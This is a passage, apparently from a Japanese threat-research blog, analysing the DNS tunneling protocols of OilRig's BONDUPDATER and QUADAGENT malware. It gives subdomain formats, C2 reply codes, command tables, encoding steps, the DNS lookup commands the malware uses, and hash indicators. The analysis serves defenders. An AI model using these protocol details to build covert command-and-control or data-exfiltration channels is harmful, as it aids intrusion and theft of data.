図21 DNSトンネル経由でバッチスクリプトの出力結果を送信するALMA dot
図21 DNSトンネル経由でバッチスクリプトの出力結果を送信するALMA dot

BONDUPDATER

FireEyeの調査によれば、OilRigは、2017年半ばにまでさかのぼれる攻撃キャンペーンにBONDUPDATERツールを使用してきました。今回新しいBONDUPDATERの亜種を発見する前に、私たちはBONDUPDATERについて2つの亜種を確認していました。これらの亜種は2018年8月の中東政府機関に対する標的型攻撃で配信されたもので、それについてはこちらのブログ(英語)で説明しています。BONDUPDATERの初期の亜種は、System.Net.Dnsクラスの"GetHostAddresses"メソッドを使用し、DNSトンネルにはDNS Aレコードクエリを使用していました。BONDUPDATERの2つ目の亜種は、System.Net.Sockets.UdpClientクラスが提供するrawソケットを使い、DNS AとTXTの両方のルックアップを発行することでDNSトンネルを容易にしていました。複数のDNSクエリタイプを使用した結果2つのBONDUPDATER亜種は劇的に異なっているため、それぞれについて個別に説明します。

初期のBONDUPDATER

初期のBONDUPDATERサンプルでは、もっぱらDNS Aクエリを使用してC2サーバーとの通信トンネルをセットアップしています。サンプルによってこのBONDUPDATERの亜種が生成するサブドメインは多少異なりますが、その最終的な目的は、DNSトンネルを使用してC2から新しいPowerShellまたはVBScriptスクリプトをダウンロードすることです。

初期のBONDUPDATER亜種は、C2 サーバーへのリクエストとしてDNS Aリクエストの形式のビーコンを発行します。このビーコンを構築するために、このトロイの木馬は乱数、シーケンス番号、一意のシステムIDを含むサブドメインを作成します。このトロイの木馬は、まず"whoami"コマンドを実行し、出力結果の最初の12文字をIDとして使用して、一意のシステムIDを作成します。サブドメインのシーケンス番号により、トロイの木馬は、要求しているデータ内のオフセットをC2に通知することができます。これは、最初のビーコンでは"000"です。このトロイの木馬は初期ビーコンに次の構造を使用します。

<random number between 10-99, 1-6 digits worth><action value, "0" for beacon><sequence number><unique system identifier>B007.<C2 domain>

C2がこのトロイの木馬にデータを送信したい場合、最初の2オクテットとして"24.125"で始まるAnswerセクションのIPv4アドレスで応答します。このトロイの木馬は、残りの2オクテットを、C2から送信されたデータを保存するファイル名用の文字として扱います。このトロイの木馬は、ファイル名の最後の文字を使用して、C2から提供されたデータを処理する方法を決定します。表4に、トロイの木馬がファイル名の最後の桁(ビーコンに対する応答の4番目のオクテット)として探す3種類の値と、トロイの木馬が受信データを処理する方法を示します。

ファイル名の最後の桁 説明
0 データを実行すべきPowerShellコマンドとして扱う
1 <filename>.ps1にデータを書き込む
2 <filename>.vbsにデータを書き込む

表4 ファイル名末尾の文字に基づいて実行されるコマンド

図22は"24.125.0[.]1"で応答するC2を示しています。これは、データを保存するために"01.ps1"という名前のファイルを作成するようにBONDUPDATERに指示しています。C2がこのトロイの木馬を終了させたい場合は、"11.24.237[.]110"というIPv4をレスポンスのAnswerセクションに含めてビーコンに応答します。

図22 初期BONDUPDATERのビーコンと、AnswerセクションのIPv4でファイル名とデータを返すC2サーバー
図22 初期BONDUPDATERのビーコンと、AnswerセクションのIPv4でファイル名とデータを返すC2サーバー

ファイルが作成されると、BONDUPDATERはDNSクエリの送信を開始し、データとして扱うべきIPv4のレスポンスを返すよう要求します。このトロイの木馬はビーコンと同じクエリ構造を使用しますが、アクションとして値"1"を使用し、データの要求ごとにサブドメインのシーケンス番号を3ずつ増加させます。シーケンス番号は、C2サーバが送信するデータのオフセットに対応します。C2サーバは、IPv4アドレスの最初、2番目、3番目のオクテットに、一度に3バイトずつ送信します。C2は、IPv4アドレスの4番目のオクテット内に現在のシーケンス番号を提供します。こうしてシーケンス番号をトロイの木馬にエコーバックすることで、正しいデータチャンクであることを確認しています。図22はまた、C2が続く2つのクエリに対するレスポンスとしてIPアドレスを提供している様子を示しています。これらのIPアドレスは、最初の3オクテットをデータとして、4番目のオクテットをシーケンス番号として扱います。ここではトロイの木馬は"01.ps1"ファイルに"whoami"を保存しています。

トロイの木馬がC2サーバーからのデータのダウンロードに成功すると、別のサブドメインを作成してデータ転送の成功をC2にクエリを出して通知します。このサブドメインは興味深いもので、ここにはビーコンからのシステム固有のIDが含まれているだけでなく、固有のシステムIDを作成するために使用された"whoami"コマンドの出力結果から16進表記で最大25バイト分のバイトデータも含まれます。必要に応じて、BONDUPDATERはこの構造を使用してデータをC2サーバーに送り返すものと思われます。通知クエリ用に構築されるサブドメインは、次の構造を持ちます。

<random number between 10-99, 5-10 digits worth>4<sequence number, always "000"><unique system identifier>B007.<25-bytes of hexlified 'whoami' output>.<C2 domain>

図23は、BONDUPDATERがデータをダウンロードしたことをC2に通知している様子を示していますが、この図はまた、クエリがどのようにデータの漏出を見つけるのかについても示しています。

図23 BONDUPDATERがC2にデータを送信しているところ
図23 BONDUPDATERがC2にデータを送信しているところ

BONDUPDATERトロイの木馬は、ダウンロードされたPowerShellまたはVBScriptファイルを実行せず、かわりにC2からの後続のビーコンを利用します。このビーコンには、AnswerセクションにIPv4アドレスが含まれており、このIPv4は"24.125"から始まり4番目のオクテットに"0"が含まれます。表4によると、BONDUPDATERはダウンロードされたデータをPowerShellコマンドとして扱います。これにより、攻撃者は以前にダウンロードされたPowerShellやVBScriptファイルを実行できます。

更新されたBONDUPDATER

OilRigが中東政府組織に対する2018年の攻撃(英語)で使用した更新されたBONDUPDATERは、前述の亜種と同じDNSトンネリングプロトコルを使用していました。ただし、データ転送にDNS AクエリとTXTクエリを組み合わせた別のトンネリングプロトコルも使用することができるようになりました。

更新されたBONDUPDATERは、DNS Aクエリを使用する同じDNSトンネリングプロトコルを使用します。具体的には、データを保存するファイル名を取得するには"24.125"で始まるIPv4アドレスを探し、C2がトロイの木馬を終了したい場合は"11.24.237.110"を探します。更新されたBONDUPDATERはこのほかに"99.250.250.199"というIPv4アドレスも探します。これは、データを転送するためにDNS TXTクエリを発行する代替DNSトンネルの使用を開始するようにトロイの木馬に指示するものです。

このトロイの木馬が使用しているDNSトンネリングプロトコルに関係なく、作成されるサブドメインは以前の既知の亜種とは構造が異なります。これは以前のブログで述べたとおりです。

「送信受信の両方のために生成されるドメインのフォーマットは以前に生成されたGUIDから始まり、それを使ってシステムを一意に識別します。ただし、このトロイの木馬は、パート番号の値とアクションの種類を表す文字をこのGUID文字列にランダムなオフセットで挿入します。パート番号の値は、トロイの木馬が送信しようとしているデータチャンクに対応する3桁の文字列です。アクションの種類は、トロイの木馬が実行しようとしている通信の種類をC2に通知する1文字です。サブドメイン内では、2つのスタティックな文字 "C"と"T"が2桁の数字を囲んでいます。これにより、C2サーバーはGUID文字列内にランダムなオフセットで混入されたパート番号とアクションの種類を見つけることができます。」

前述のサブドメインの構造は次のとおりです。パート番号とアクションのインデックスは、0から始まるインデックス付き文字列を表します(0は文字列の最初の文字です)。

<GUID with part number and action character><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<C2 domain>

トロイの木馬からC2への最初のビーコンは、トロイの木馬がデータを送信しようとしていないので、アクションの種類として"M"とパート番号"000"を使用します。図24は、オフセット7にパート番号"000"、オフセット4にアクション"M"を付けて、BONDUPDATERからそのC2サーバーに送信されるビーコンの例を示しています。アクションのインデックスがパート番号のインデックスよりも大きい場合、アクションの位置は不正確になるので、正しいオフセットを見つけるためにパート番号の長さ(3桁)が必要になることに注意することが重要です。 

図24 更新されたBONDUPDATERの最初のビーコンと、トロイの木馬にTXTクエリを使用するように指示するC2
図24 更新されたBONDUPDATERの最初のビーコンと、トロイの木馬にTXTクエリを使用するように指示するC2

図24を見るとわかるように、C2サーバーはBONDUPDATERに新しいTXTベースのDNSトンネルを使用するように指示するために、IPv4アドレス"99.250.250[.]199" でビーコンに応答しています。C2サーバーからコマンドを取得するため、BONDUPDATERは、アクション値として"W"を含むDNS TXTクエリを使用するビーコンを介し、C2サーバーにファイル名を要求します。BONDUPDATERは、ダウンロードしたデータを書き込むためにこのファイル名を使用するだけでなく、実行するコマンドとしてもこのファイル名の末尾の文字を使用します。以前のブログから抜粋した次の表5は、トロイの木馬が提供されたファイル名末尾の文字を使って特定のアクションを実行する方法を示しています。

末尾の文字/コマンド 目的 説明
0 コマンドを実行する ファイルの内容を読み取り、それらを"cmd.exe"を使用してコマンドとして実行します。コマンドからの出力は、名前が"proc"で始まるファイルに保存され、"sendbox"フォルダに保存され、これをトロイの木馬がC2サーバに送信します。
1 ダウンロードファイル ダウンロードするファイルへのパスについてファイルの内容を読み取ります。指定されたファイルを"sendbox"フォルダ内のファイルにコピーし、トロイの木馬がC2サーバに送信するようにします。
その他の文字 ファイルをアップロードする システムにファイルを保存するために使用されます。ファイルは"done"フォルダに移動されます。このフォルダには将来の使用に備えてファイルが保存されます。このトロイの木馬は、ファイルが正常にダウンロードされたことをC2に通知するため、"200<>[path to stored file]"を"sendbox"フォルダ内のファイルに書き込みます。

表5 BONDUPDATERで使用可能なコマンドとその目的

 C2サーバーはこのDNS TXTクエリに、BONDUPDATERにデータの処理方法を指示する命令で始まるTXTレスポンスで応答します。以前のブログの表6を以下に抜粋し、このトロイの木馬がTXTのAnswerセクション内で探す命令の内容を示します。TXTレスポンス内には命令の直後に大なり(">")記号が続いており、トロイの木馬はこの大なり記号に続く文字をデータとして扱います。

命令 説明
N アイドル。次のクエリのアクションタイプを"W"に設定
S C2からデータを受信。データ部分をbase64としてデコードします。この後のC2へのクエリではアクションの種類を"D"に設定します。
S000s データの保存先ファイル名の一部としてデータを使用します。データは文字列"rcvd"の後ろに追加され、"receivebox"フォルダに保存されます。この後のC2へのクエリではアクションの種類を"D"に設定します。
E "S000s"コマンドの結果としてファイルに "S"コマンドによって提供されたバイトを書き込みます。ダウンロードしたファイルを処理するためのスクリプトのループをブレークします。
C ループを抜けて通信をキャンセルします。

表6 BONDUPDATERの新しいデータ転送プロセス内の命令とその意味

システム上でコマンドを実行するために、C2は "S000s"命令とそれに続く大なり(">")記号と"0"で終わるファイル名で"W"のTXTビーコンに応答します。図25は、サブドメインのオフセット3で"W"アクションを指定してTXTクエリを発行することによって、C2サーバーからファイル名を取得する要求を出すBONDUPDATERの様子を示しています。このスクリーンショットでは、C2が"S000s>10100"でクエリに応答している様子も示されています。これを受けてトロイの木馬は文字列"rcvd"に提供されたファイル名を追加し、"rcvd10100"という名前のファイルを作成します。

図25 ダウンロードしたデータを保存するファイル名を要求するBONDUPDATER
図25 ダウンロードしたデータを保存するファイル名を要求するBONDUPDATER

ファイル名が取得できたので、トロイの木馬はC2からデータをダウンロードするため"D"のアクションを指定してDNS TXTクエリを発行し始めます。C2サーバーはこれらの要求に"S0000"の命令で応答し、その後にコマンドであるbase64エンコードデータの最初のチャンクが続きます。図26は、オフセット5で"D"アクションを指定したTXTクエリを発行し、C2サーバーが"S0000"命令と"whoami&ipconfig /all"コマンドのための"d2hvYW1pJmlwY29uZmlnIC9hbGw="というエンコードされたコマンドを応答する様子を示しています。

図26 ダウンロードするデータを要求するBONDUPDATERとbase64データを提供するC2
図26 ダウンロードするデータを要求するBONDUPDATERとbase64データを提供するC2

 BONDUPDATERは、ダウンロードされたデータを指定されたファイル名に書き込む前に、"E"で始まるC2サーバからの命令の受信を待ちます。"E"の命令を受け取った後、トロイの木馬はbase64でデコードされたデータをファイルに書き込み、新しく作成されたファイルを処理します。図27は、TXTレスポンス内で"E"の命令を提供するC2サーバーの様子を示しています。今回のサンプルでは、ファイル名が"0"文字で終わっているのでトロイの木馬は新しく保存されたファイルをスクリプトとして扱います。このトロイの木馬は、"cmd.exe"を使用してファイルの内容を実行し、その出力結果を"proc10100"という名前のファイルに保存します。これがC2サーバにアップロードされます。

図27 BONDUPDATERのC2がデータをファイルに書き込むようトロイの木馬に指示する命令を送信している様子
図27 BONDUPDATERのC2がデータをファイルに書き込むようトロイの木馬に指示する命令を送信している様子

C2サーバーにデータをアップロードするため、更新されたBONDUPDATERの亜種は、DNS Aリクエストを発行し、細工されたサブドメイン内に含めたデータを送信します。このサブドメインの構造は、データを受信するためのDNS AおよびTXTリクエストとは異なります。これらのサブドメインには、ファイル名とデータ自体のセグメントが含まれているためです。C2にデータを送信するために、このトロイの木馬は次の構造を持つドメインを解決するためのDNS Aクエリを発行します。

<GUID with part number and action character of "2"><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<data chunk>.<filename>.<c2 domain>

データをC2に送信するとき、トロイの木馬は、C2にデータを送信しようとしていることをC2に通知するためのアクションに文字"2"を含めます。サブドメインのデータとファイル名の両方のセグメントは、次のステップでエンコードされます。

  1. 2つの異なる空文字列を作成
  2. それぞれのデータバイトを16進形式に変換
  3. 各16進バイトを2つのニブルに分割
  4. 最初のニブルを最初の文字列に追加
  5. 2番目のニブルを2番目の文字列に追加
  6. 2つの文字列を連結

このプロセスは、各16進バイトの2文字を効果的に分離し、それらを文字列全体に拡散します。ファイル名のセグメントには、ファイル名をエンコードした文字列の後ろにアスタリスク("*")が追加されています。たとえば、上の図27で見た"10100"というファイルは、アスタリスクが追加されて"10100*"というファイル名になります。上記のステップでエンコードした場合、このファイルは"33333210100A"という文字列になります。次のコードブロックは、このエンコード方法がどのように機能するかを視覚化したものです。

サブドメインのデータセグメントは最大60文字の長さにすることができるので、BONDUPDATERは漏出させたいデータを30バイトのチャンクに分割して同じエンコード方法を使用してエンコードします。C2に対してこのファイルの漏出を開始するため、BONDUPDATERは、最初のDNS A クエリを発行します。このDNS A クエリは、データチャンクのセクションがハードコードされた"COCTab"という文字列で始まり、その後ろにエンコードされたデータが続くドメインに対するものです。エンコードされたデータには、送信されるファイル名とエンコードされたデータの長さが含まれています。たとえば、このサンプルで使用されている"10100"というファイルは、発行されたコマンドからの2795バイト分の出力結果を格納していたため、エンコードされた結果5590バイトになっていました。このトロイの木馬はファイル名とデータサイズをアスタリスクで分割し、パディングとしてアスタリスクを使用して"10100*5590*****************"の27文字の文字列を作成します。この結果、エンコードされた文字列は"33333233332222222222222222210100A5590AAAAAAAAAAAAAAAA"になります。BONDUPDATERは、このエンコードされた文字列を"COCTab"の後ろに追加したものをサブドメインのデータセグメントとして使用し、C2に「何回DNS Aリクエストを発行してデータを送信するか」を通知します。図28は、ファイル名のセグメントに"33333210100A"という文字列を含み、"COCTab"の後にファイル名とデータ長の文字列を含めたデータセグメントを含む最初の通知クエリを示しています。

図28 ファイルの内容をアップロードすることをC2に通知するBONDUPDATERクエリ
図28 ファイルの内容をアップロードすることをC2に通知するBONDUPDATERクエリ

C2サーバーは、このDNS AリクエストにIPv4アドレスで応答しますが、このIPv4アドレスの最初のオクテットはシステムIDとして使用されているGUIDの最初の2文字を、2番目と3番目のオクテットには"2"と"3"を、4番目のオクテットとしてC2サーバーがトロイの木馬に送信させたいデータチャンクに対応するシーケンス番号を含めます。BONDUPDATERはすべてのデータを送信し終わるまで、サブドメインのデータセグメントにファイルからのエンコードデータのチャンクを含めたDNS Aクエリを送信し続けます。図29は、次のデータチャンクを取得するために4番目のオクテットを3ずつ増加させたIPv4アドレスを使用し、通知クエリとそれに続くデータ転送クエリに応答するC2サーバーを示しています。

図29 クエリ対象のサブドメイン内でC2へのデータを送信しているBONDUPDATER
図29 クエリ対象のサブドメイン内でC2へのデータを送信しているBONDUPDATER

すべてのデータを送信した後、このトロイの木馬はデータセグメントに"COCTabCOCT"と入力した最後のDNSクエリを発行します。このクエリは、トロイの木馬がファイルの内容送信を終了したことをC2サーバーに通知するものです。図30は、DNSクエリによる継続的なデータ転送と、その後に続くデータセグメント内に"COCTabCOCT"を含めた最後のDNSクエリを示しています。

図30 BONDUPDATERがデータを送信後C2に"COCTabCOCT"という文字列によって通信終了を伝える様子
図30 BONDUPDATERがデータを送信後C2に"COCTabCOCT"という文字列によって通信終了を伝える様子

QUADAGENT

OilRigは標的型攻撃にQUADAGENTツールを使用しています。そのうちの1つはOilRig、QUADAGENTを使用してテクノロジ サービス プロバイダと政府機関を標的にとして公開済みです。QUADAGENTは、DNSトンネリングを使用してC2サーバーと通信するのに、DNSクエリを使用してC2ドメインのカスタム細工されたサブドメインを解決することができます。DNSトンネリングプロトコルにはAAAAクエリを使用し、感染システムとそのC2サーバーの間でデータを送受信します。Windowsのバージョンに応じてペイロードはクエリの発行方法を変更します。具体的には次のようになります。

Windows 8またはそれ以降

Resolve-DnsName -Name <generated subdomain>.<c2 domain> -Type AAAA -DnsOnly

Windows 7

nslookup.exe -q=aaaa <generated subdomain>.<c2 domain>.

作成者は、Windows 8.1以前のWindowsバージョンのPowerShellにはResolve-DnsNameメソッドを含むDnsClientモジュールがないことを知っていたようです。大まかに言えば、QUADAGENTはC2サーバーと通信し、自身を置き換えるPowerShellスクリプトを取得します。つまり基本的にトロイの木馬は二次ペイロードによって更新されることになります。この更新機能を実現するために、QUADAGENTは以下の一連のステップを実行します。

  1. セッションIDと事前共有鍵の取得
  2. 正しいセッションIDを確認
  3. PowerShellスクリプトをダウンロード
  4. ダウンロードと実行の確認

QUADAGENTとC2の間の通信をセットアップする最初のステップは、セッションIDと事前共有キーを取得するための最初のハンドシェイクです。セッションIDと事前共有キーを取得するために、ペイロードは次のドメインを解決するためのクエリを発行します。これが最初のビーコンとして機能します。

mail.<random number between 100000 and 999999>.<c2 name>

このリクエストは、ペイロードが初期ハンドシェイクの一部としてシステム固有のデータを送信しようとしていることをC2サーバーに通知するものです。C2サーバーに送信されるシステム固有のデータは次の形式です。

<domain>\<username>:pass

上記の文字列は、カスタムbase64エンコーダーを使用してデータから英数字以外の文字("="、"/"、"+")を取り除き、それをドメインセーフな値(それぞれ"01"、"02"、"03")に置き換えてエンコードされます。QUADAGENTは、DNSクエリを発行して次の構造を持つドメインを解決することで、このエンコードされたシステムデータをC2に送信します。

<encoded system data>.<same random number between 100000 and 999999 above>.<c2 name>

C2サーバーは、侵害されたシステムを一意に識別するセッションIDと、DNSトンネルを介して送信される事前共有キー暗号化データを提供することで、これらのリクエストに応答します。このデータをQUADAGENTに転送するため、C2サーバは、最後のDNSクエリに対し、C2サーバからのデータダウンロード用に発行すべきDNSリクエスト数をトロイの木馬に判断させるための番号を含むIPv6アドレスで応答します。C2サーバは、クエリに対するレスポンスのIPv6アドレスの最後の2つの16進数内でカウント値を送信します。図31は、QUADAGENTがクエリを送信し、後に続くクエリでシステム固有データを送信することをC2に通知している様子を示しています。C2レスポンスは、最後の2つのヘクステットとして"2"を持っています。これは、目的のデータをダウンロードするためにクエリを2回発行するようにトロイの木馬に指示しています。

図31 WiresharkでQUADAGENTとそのC2の間のビーコンとシステム情報の送受信を表示したところ
図31 WiresharkでQUADAGENTとそのC2の間のビーコンとシステム情報の送受信を表示したところ

データを受信するために、QUADAGENTはC2ドメインのサブドメインを解決するためのDNSリクエストを発行します。このドメインは"www"で始まり、そのすぐ後ろにトロイの木馬が現在求めているデータチャンクのシーケンス番号が続きます。このトロイの木馬は、図31のC2が提供するカウント値に達するまで、次の構造を持つドメインを解決するためのクエリを発行します。

www<sequence number>.<random number between 100000 and 999999>.<c2 name>

データの取得後、QUADAGENTは次のように構成されたサブドメインを解決するためのクエリを発行し、C2サーバーにすべてのデータを受信したことを通知します。

www.<random number between 100000 and 999999>.<c2 name>

図32は、増加するシーケンス番号を使用してDNSリクエストを発行するQUADAGENTと、IPv6レスポンス内でセッションIDと事前共有鍵を提供するC2の通信を示しています。このスクリーンショットには、トロイの木馬がC2クエリを送信してデータを正常に受信したことをC2に通知する様子も示されています。

図32 WiresharkでQUADAGENTがC2からセッションIDと事前共有鍵をダウンロードしている様子を表示したところ
図32 WiresharkでQUADAGENTがC2からセッションIDと事前共有鍵をダウンロードしている様子を表示したところ

その後QUADAGENTは、新しく取得したセッションIDを一連のクエリで使用し、ハンドシェイクのシーケンスを終了します。このトロイの木馬は、後の通信でC2にデータを漏出させるためにこれと似た一連のクエリを使用しますが、通信のこの時点ではQUADAGENTはセッションIDをC2にエコーバックするためにだけ使っています。ペイロードは、データを送信しようとしていることをC2に通知するため、次の構造を持つドメインを解決するDNSクエリを発行することによって、このプロセスを開始します。

ns1.<new random number between 100000 and 999999>.<c2 name>

QUADAGENTは先のクエリに対するレスポンスに対して何もしません。かわりにすぐに以下のドメインを解決するクエリを発行します。これは事実上、C2にセッションID値を送信しています:

<session id>.<same random number between 100000 and 999999>.<c2 domain name>

ここでもペイロードは上記のクエリに対するレスポンスを無視します。この時点で、QUADAGENTがC2へのデータを持っていれば、データを暗号化し、暗号化したデータをさらにbase64エンコードします。このエンコードには、ハンドシェイク内でシステム情報を送信するために使用するカスタムbase64関数が使用されます。その後、トロイの木馬は、サブドメインの最初の部分として60文字のエンコードされた暗号文を含む一連のクエリ内で、エンコードされたデータを送信します。データ送信が完了すると、QUADAGENTは最後の1クエリを発行し、サブドメインとして"ns2"を使用してドメインを解決し、データの送信が完了したことをC2サーバーに通知します。通信のこの時点では、QUADAGENTはC2に送信するデータを持っていません。セッションIDをエコーするだけなので、トロイの木馬は次のように構成されたドメインを解決するクエリを発行します。

ns2.<same random number between 100000 and 999999>.<c2 domain name>

図33は、提供されたセッションIDをC2サーバーに送信するQUADAGENTの様子を示しています。

図33 WiresharkでQUADAGENTがセッションIDをC2にエコーバックしている様子を示したところ
図33 WiresharkでQUADAGENTがセッションIDをC2にエコーバックしている様子を示したところ

DNSトンネリングチャネルを介してデータを送信するため、C2サーバはIPv6アドレスで前のクエリに応答します。このIPv6アドレスには、ペイロードが発行すべきDNSクエリ数が含まれており、ペイロードはそれに基づいて、後続のIPv6レスポンスからデータ全体を取得します。これは先に説明したC2サーバーがセッションIDと事前共有鍵を提供するプロセスと同じプロセスです。前述のデータ転送方法同様に、QUADAGENTはサブドメイン"www<sequence number>"を解決するためにDNS要求を発行します。ここでのシーケンス番号は、すべてのデータを受信するまで増加していきます。すべてのデータを受信すると、トロイの木馬は"www."を解決するクエリを発行します。これにより、すべてのデータを受信したことをC2に通知します。

C2はこのクエリに対し、パイプ区切り("|")のデータがついた"ns2."ドメインを解決するクエリで応答します。このドメインをQUADAGENTはパースし、提供されたフィールドに応じて2つの方法のいずれか1つを使って処理します。トロイの木馬は、2種類のデータをパースし、それらを次のように扱います。

  • 新しいセッションIDと事前共有キー
  • 現在のスクリプトを新しいPowerShellスクリプトで上書きして実行するコマンド

1つ目の方法でC2は、QUADAGENTが新しいセッションIDと事前共有キーとして扱う特定の構造をもつデータを提供することができす。最初のハンドシェイク同様、QUADAGENTはこのセッションIDと事前共有キーをレジストリに保存するので、トロイの木馬は、自身を実行するたびにハンドシェイクを行う必要はありません。C2は構造体に続く文字列を作成し、"www<sequence number>"というクエリシーケンス内のIPv6アドレスを介して平文としてQUADAGENTに送信します。

<session identifier>|<length of pre-shared key>|<pre-shared key>

2つ目の方法でC2は、QUADAGENTにコマンドとして扱わせるデータを送信することができます。QUADAGENTはこのデータをパースし、現在のファイルを新しいPowerShellスクリプトで上書きするためのデータを探します。C2はこのデータをパイプ("|")区切りの文字列を作成して提供します。この文字列は、1番目のフィールドが空文字列、2番目のフィールドが暗号文の長さ、3番目のフィールドが16バイトの初期化ベクトル(IV)で始まり直後に前述のIVと事前共有キーを使用してAESで暗号化されたデータを続けたものです。このデータは"www<sequence number>"クエリを介して次のフォーマットでトロイの木馬に送信されます。

|<length of encrypted data>|<AES IV><Data encrypted with AES and pre-shared key>

図34は、データをダウンロードするため5回DNSリクエストを出すようにQUADAGENTに指示するC2サーバーの様子を示しています。QUADAGENTはこれらのクエリを発行し、各クエリのシーケンス番号を増やします。C2サーバーは、データの長さ、16バイトのAES初期化ベクトル、事前共有鍵を使用してAESで暗号化されたデータを使用して、これらのクエリに対するレスポンスを提供します。

図34 WiresharkでC2サーバーからコマンドをダウンロードしているQUADAGENTを表示したところ
図34 WiresharkでC2サーバーからコマンドをダウンロードしているQUADAGENTを表示したところ

QUADAGENTは、提供されたIVと以前に提供された事前共有キーを使用して、AESを使用してC2サーバーからダウンロードされたデータを復号化します。QUADAGENTは、次の構造に基づいて復号したデータをパースします。

hello<char uuid[35]><char type[1]><data>

メッセージは文字列'hello'で始まり、その後に35文字のUUID文字列が続きます。'type'フィールドは、ペイロードが処理するコマンドを指定します。既知のQUADAGENTサンプルは、1種類のコマンド、'x'しか処理できません。'x'コマンドは、指定されたデータフィールドを現在のPowerShellスクリプトに書き込むPowerShellスクリプトとして扱い、事実上、最初のPowerShellスクリプトを2次ペイロードで上書きするものです。

その後、ペイロードは、二次PowerShellペイロードのダウンロードに成功したことをC2に通知します。ペイロードは、C2に送信する次の構造を持つ文字列を作成します。

bye<char uuid[35]>d

QUADAGENTは、データの漏出の際に使われたのと同じ一連のDNSクエリを使って、上記の文字列をC2に送信します。このシーケンスは、最初に次のドメインを解決するDNSクエリを発行し、ペイロードが後続のDNSクエリでデータを送信することをC2に通知することから始まります。

ns1.<random number between 100000 and 999999>.<c2 name>

QUADAGENTは次に、どのホストがデータを送信しようとしているかをC2に通知するセッションIDを含む、次のように構成されたサブドメイン解決用のクエリを発行します。

<session id>.<same random number between 100000 and 999999>.<c2 domain name>

ペイロードは、メッセージを60バイトのチャンクに分割します。このチャンクは、DNSクエリを介してC2に送信され、次のような構造のドメインを解決します。

<encoded/encrypted data of message>.<same random number between 100000 and 999999>.<c2 name>

ペイロードは、次のように構成されたドメインを解決するためにDNSクエリを発行することにより、データの送信が完了したことをC2に通知します。

ns2.<same random number between 100000 and 999999>.<c2 name>

図35は、クエリ対象のサブドメイン内で、QUADAGENTがC2サーバーにbase64エンコードデータとしてデータをアップロードする様子を示しています。データを送信する前に、このトロイの木馬は"ns1"サブドメインを使用して通知クエリを送信し、その後にセッションIDを含むクエリを送信します。最後に、QUADAGENTは"ns2"サブドメインに対してクエリを発行し、データの送信が完了したことをC2に通知します。

図35 Wiresharkで表示したQUADAGENTが"bye"メッセージをC2サーバーに送信している様子
図35 Wiresharkで表示したQUADAGENTが"bye"メッセージをC2サーバーに送信している様子

結論

OilRig攻撃グループは、DNSトンネリングを、C2サーバーとグループで利用しているツール群との通信チャネルとして繰り返し使用してきました。DNSトンネリング: 攻撃者はDNSをどう悪用するのかでも述べたように、この脅威グループはDNSトンネリングに利用するメリットを見いだしているようです。なぜならDNSはセキュリティ機器でもほぼ普遍的に許可されているためです。DNSトンネリングを使用することの大きな欠点の1つは、ツールとC2サーバーの間でデータをやり取りするために大量のDNSクエリが発行されることです。

すべてのDNSトンネリングプロトコルは標準化されたDNSプロトコルを遵守する必要がありますが、OilRigが使用するトンネリングプロトコルは、効率や目立たなさという観点からみればすべてが同じではありません。これらのDNSトンネルを使用したデータ転送では、特別に細工されたサブドメインが使用されます。サブドメイン内でより多くの文字をデータとして指定することで、クエリごとにより多くのデータを転送できます。また、これらのプロトコルについては、base64エンコードデータの各文字は0.75バイトのデータを送信できるのに対し、base16エンコードでは1バイトの送信に2文字が必要であることから、base64エンコードの方がbase16よりも効率的であることは明らかです。ただし、どのようなエンコーディングを使うかにかかわらず、データ送信のためにこれらのトンネルのいくつかで使用されている非常に長いサブドメインは、正規のDNSクエリのトラフィックのフリをすることが難しいかもしれません。

DNSトンネリング攻撃に対する保護についてご興味をお持ちの弊社のお客様は、DNS Securityサービスについて調べることをお勧めします。このサービスには、DNSトンネリング攻撃を識別し、遮断するための高度な技術が使用されています。

パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、www.cyberthreatalliance.org のWebサイトをご覧ください。

IOC

サンプルの完全なリストではありませんが、このブログで説明しているさまざまなツールについては、以下のSHA256ハッシュを参照してください。

Helminth

  • 662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f
  • 089bf971e8839db818ac462f53f82daed523c413bfc2e01fb76dd70b37162afe
  • d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34
  • 1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1
  • 0ec288ac8c4aa045a45526c2939dbd843391c9c75fa4a3bcc0a6d7dc692fdcd1
  • 3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4
  • f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e
  • 4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281

ISMAgent

  • a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821
  • 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9

ALMA dash

  • f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111

ALMA dot

  • e52b8b0e8225befec156b355b3022faf5617542b82aa54f9f42088aa05a4ec49

オリジナルの BONDUPDATER

  • de620a0511d14a2fbc9b225ebfda550973d956ab4dec7e460a42e9d2d3cf0588

更新された BONDUPDATER

  • d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7
  • 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00

QUADAGENT

  • 1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c